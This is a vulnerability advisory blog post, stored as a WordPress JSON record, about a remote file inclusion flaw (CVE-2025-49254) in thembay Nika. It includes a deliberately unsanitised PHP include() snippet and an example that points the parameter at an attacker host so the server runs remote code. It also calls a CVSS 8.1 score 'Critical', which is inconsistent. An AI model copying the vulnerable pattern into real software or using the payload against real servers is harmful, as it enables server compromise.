{"id":55892,"date":"2025-06-29T04:27:59","date_gmt":"2025-06-29T04:27:59","guid":{"rendered":""},"modified":"2025-09-29T02:50:38","modified_gmt":"2025-09-29T08:50:38","slug":"cve-2025-49254-critical-php-remote-file-inclusion-vulnerability-in-thembay-nika","status":"publish","type":"post","link":"https:\/\/www.ameeba.com\/blog\/cve-2025-49254-critical-php-remote-file-inclusion-vulnerability-in-thembay-nika\/","title":{"rendered":"<strong>CVE-2025-49254: Critical PHP Remote File Inclusion Vulnerability in thembay Nika<\/strong>"},"content":{"rendered":"<p><strong>Overview<\/strong><\/p>\n<p>The heightened reliance on software and digital systems makes security vulnerabilities a significant concern for businesses and individuals alike. A newly identified vulnerability tagged as CVE-2025-49254 threatens the security landscape, specifically impacting PHP programs developed with the thembay Nika framework. This <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-49847-buffer-overflow-vulnerability-in-llama-cpp-leading-to-potential-code-execution\/\"  data-wpil-monitor-id=\"62615\">vulnerability is particularly worrisome due to its potential<\/a> to compromise systems or cause data leakage-making it a potential goldmine for cybercriminals looking to disrupt operations or steal sensitive information.<\/p>\n<p><strong>Vulnerability Summary<\/strong><\/p>\n<p>CVE ID: CVE-2025-49254<br \/>\nSeverity: Critical (CVSS Score 8.1)<br \/>\nAttack Vector: Remote<br \/>\nPrivileges Required: Low<br \/>\nUser Interaction: None<br \/>\nImpact: <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-5868-critical-vulnerability-in-rt-thread-leading-to-system-compromise-and-data-leakage\/\"  data-wpil-monitor-id=\"63874\">System compromise<\/a>, potential data leakage<\/p>\n<p><strong>Affected Products<\/strong><\/p><div id=\"ameeb-123999742\" class=\"ameeb-content-2 ameeb-entity-placement\"><div style=\"border-left: 4px solid #555; padding-left: 20px; margin: 48px 0; font-family: Roboto, sans-serif; color: #ffffff; line-height: 1.6; max-width: 720px;\">\r\n  <h2 style=\"margin-top: 0; font-size: 22px; font-weight: 600; display: flex; align-items: center; letter-spacing: -0.02em;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"display: inline-flex; align-items: center; margin-right: 10px;\">\r\n      <img decoding=\"async\" src=\"https:\/\/www.ameeba.com\/blog\/wp-content\/uploads\/2025\/10\/Best-App-icon-Ameeba.png\" alt=\"Ameeba Chat Icon\" style=\"width: 42px; height: 42px;\" \/>\r\n    <\/a>\r\n    Share secrets securely\r\n  <\/h2>\r\n\r\n  <p style=\"margin-bottom: 14px; color: #d1d5db;\">\r\n    Ameeba is private infrastructure for communication and sensitive work built on encrypted identity instead of exposed corporate identity systems.\r\n  <\/p>\r\n\r\n  <p style=\"margin-bottom: 18px; color: #a1a1aa;\">\r\n    Passwords, credentials, confidential files, screenshots, internal discussions, sensitive AI context, and private coordination should not become exposed across ordinary communication platforms.\r\n  <\/p>\r\n\r\n  <ul style=\"list-style: none; padding-left: 0; margin-bottom: 24px; color: #e4e4e7;\">\r\n    <li style=\"margin-bottom: 8px;\">\u2022 Encrypted identity<\/li>\r\n    <li style=\"margin-bottom: 8px;\">\u2022 Private Spaces for organizations and teams<\/li>\r\n    <li style=\"margin-bottom: 8px;\">\u2022 End-to-end encrypted chat, calls, files, and notes<\/li>\r\n    <li style=\"margin-bottom: 8px;\">\u2022 Sensitive AI work and protected collaboration<\/li>\r\n    <li>\u2022 Built for information that cannot leak<\/li>\r\n  <\/ul>\r\n\r\n  <p style=\"font-style: italic; font-weight: 600; margin-bottom: 24px; color: #ffffff;\">\r\n    Our mission is to secure human work alongside AI.\r\n  <\/p>\r\n\r\n  <div style=\"display: flex; flex-wrap: wrap; gap: 12px;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\/download\" style=\"background-color: #ffffff; color: #000000; padding: 10px 20px; text-decoration: none; border-radius: 8px; font-weight: 500;\">\r\n      Download Ameeba\r\n    <\/a>\r\n\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"border: 1px solid #ffffff; color: #ffffff; padding: 10px 20px; text-decoration: none; border-radius: 8px; font-weight: 500;\">\r\n      Learn More\r\n    <\/a>\r\n  <\/div>\r\n<\/div><\/div>\n<p>Product | Affected Versions<\/p>\n<p>thembay Nika | Up to and including 1.2.8<\/p>\n<p><strong>How the Exploit Works<\/strong><\/p>\n<p>The <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-49279-php-remote-file-inclusion-vulnerability-in-unfoldwp-blogvy\/\"  data-wpil-monitor-id=\"62228\">vulnerability<\/a> occurs due to improper control over the filename in PHP &#8216;include&#8217; or &#8216;require&#8217; statements. An attacker can manipulate these statements to include <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-49278-critical-php-remote-file-inclusion-vulnerability-in-unfoldwp-blogty\/\"  data-wpil-monitor-id=\"62216\">files from remote<\/a> servers. This process, known as <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-49281-critical-php-remote-file-inclusion-vulnerability-in-unfoldwp-magways\/\"  data-wpil-monitor-id=\"62206\">Remote File Inclusion<\/a> (RFI), allows the attacker to inject and execute arbitrary code on the server, potentially compromising the system or leading to data leakage.<\/p>\n<p><strong>Conceptual Example Code<\/strong><\/p><div id=\"ameeb-4252968451\" class=\"ameeb-content ameeb-entity-placement\"><div class=\"poptin-embedded\" data-id=\"f6b387694f681\"><\/div>\r\n\r\n\r\n\r\n\r\n\r\n<\/div>\n<p>Here is a conceptual example of how an attacker might exploit this vulnerability:<\/p>\n<pre><code class=\"\" data-line=\"\">&lt;?php\n\/\/ User input is not properly sanitized\n$fileName = $_GET[&#039;file&#039;];\n\/\/ The server includes the specified file\ninclude($fileName . &#039;.php&#039;);\n?&gt;<\/code><\/pre>\n<p>In this example, a malicious actor could manipulate the &#8216;<a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-49280-critical-php-remote-file-inclusion-vulnerability-in-unfoldwp-magty\/\"  data-wpil-monitor-id=\"62233\">file<\/a>&#8216; parameter in the GET request to point to a remote file, such as `http:\/\/attacker.com\/malicious`. This would result in the server including `http:\/\/attacker.com\/malicious.php`, <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-49220-pre-authentication-remote-code-execution-in-trend-micro-apex-central\/\"  data-wpil-monitor-id=\"62551\">executing any PHP code<\/a> contained within.<\/p>\n<p><strong>Mitigation Guidance<\/strong><\/p>\n<p>System administrators and users of <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-49415-path-traversal-vulnerability-in-fw-gallery-with-potential-for-system-compromise\/\"  data-wpil-monitor-id=\"62428\">thembay<\/a> Nika are advised to urgently apply the vendor patch to mitigate this vulnerability. In situations where immediate patching is not feasible, implementing a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can serve as a temporary measure to prevent an exploit. However, these are not long-term solutions and the vendor patch should be applied as soon as <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-54742-data-deserialization-vulnerability-in-wpevently-leading-to-possible-system-compromise\/\"  data-wpil-monitor-id=\"86482\">possible to fully secure the system<\/a>.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Overview The heightened reliance on software and digital systems makes security vulnerabilities a significant concern for businesses and individuals alike. A newly identified vulnerability tagged as CVE-2025-49254 threatens the security landscape, specifically impacting PHP programs developed with the thembay Nika framework. This vulnerability is particularly worrisome due to its potential to compromise systems or cause [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"om_disable_all_campaigns":false,"footnotes":""},"categories":[1],"tags":[],"vendor":[],"product":[],"attack_vector":[],"asset_type":[],"severity":[],"exploit_status":[],"class_list":["post-55892","post","type-post","status-publish","format-standard","hentry","category-uncategorized"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/55892","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/comments?post=55892"}],"version-history":[{"count":9,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/55892\/revisions"}],"predecessor-version":[{"id":79268,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/55892\/revisions\/79268"}],"wp:attachment":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/media?parent=55892"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/categories?post=55892"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/tags?post=55892"},{"taxonomy":"vendor","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/vendor?post=55892"},{"taxonomy":"product","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/product?post=55892"},{"taxonomy":"attack_vector","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/attack_vector?post=55892"},{"taxonomy":"asset_type","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/asset_type?post=55892"},{"taxonomy":"severity","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/severity?post=55892"},{"taxonomy":"exploit_status","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/exploit_status?post=55892"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}